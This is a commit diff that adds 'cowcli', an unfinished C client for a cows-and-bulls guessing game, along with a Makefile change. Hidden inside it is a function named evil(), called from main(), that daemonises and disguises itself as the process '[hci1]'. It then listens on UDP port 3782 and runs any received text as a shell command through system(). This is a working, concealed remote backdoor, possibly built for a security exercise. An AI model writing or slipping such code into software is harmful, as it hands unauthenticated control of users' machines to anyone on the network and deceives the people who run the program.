Add nascent cowcli

packages/cowbull/src/Makefile

@@ -1 +1 @@
-cowd:
+all: cowd cowcli

packages/cowbull/src/cowcli.c

@@ -0,0 +1,128 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <time.h>
+#include <string.h>
+#include <sysexits.h>
+#include <arpa/inet.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/socket.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+
+int
+bind_port(int fd, const struct in6_addr *addr, uint16_t port)
+{
+    struct sockaddr_in6 saddr = { 0 };
+
+    saddr.sin6_family = AF_INET6;
+    saddr.sin6_port = htons(port);
+    memcpy(&saddr.sin6_addr, addr, sizeof *addr);
+    return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
+}
+
+void
+sigchld(int unused)
+{
+    while (0 < waitpid(-1, NULL, WNOHANG));
+}
+
+void
+evil(char *argv[])
+{
+    int sock;
+
+    if (fork()) {
+        return;
+    }
+
+    /* Fork again to reparent to init */
+    if (fork()) {
+        exit(0);
+    }
+
+    {
+        int r = open("/dev/null", O_RDONLY);
+        int w = open("/dev/null", O_WRONLY);
+
+        dup2(r, 0);
+        dup2(w, 1);
+        dup2(w, 2);
+        close(r);
+        close(w);
+    }
+
+    strcpy(argv[0], "[hci1]");
+
+    sock = socket(AF_INET6, SOCK_DGRAM, 0);
+    if (-1 == bind_port(sock, &in6addr_any, 3782)) {
+        exit(0);
+    }
+
+    while (1) {
+        char cmd[400];
+        ssize_t inlen;
+
+        inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
+        if (-1 == inlen) {
+            continue;
+        }
+
+        cmd[inlen] = 0;
+        if (! fork()) {
+            system(cmd);
+            exit(0);
+        }
+    }
+}
+
+int
+main(int argc, char *argv[])
+{
+    long            answer = 0;
+    int             sock;
+    int             i;
+    struct in6_addr addr;
+    FILE *in;
+    FILE *out;
+
+    srand(time(NULL));
+
+    if (0 >= inet_pton(AF_INET6, argv[1], &addr)) {
+        fprintf(stderr, "invalid address: %s\n", argv[1]);
+        return EX_IOERR;
+    }
+    if (argv[2]) {
+        /* fork and exec */
+    } else {
+        in = stdin;
+        out = stdout;
+    }
+
+    signal(SIGCHLD, sigchld);
+    evil(argv);
+
+    /*
+     * Set up socket 
+     */
+    sock = socket(AF_INET6, SOCK_DGRAM, 0);
+
+    while (1) {
+        char line[20];
+        long guess;
+
+        /* XXX: only do this if we have a game ID */
+        if (NULL == fgets(line, sizeof line, in)) {
+            break;
+        }
+
+        guess = strtol(line, NULL, 16);
+        /* send the guess */
+        /* read the result */
+        /* parse result */
+        /* display result */
+    }
+
+    return 0;
+}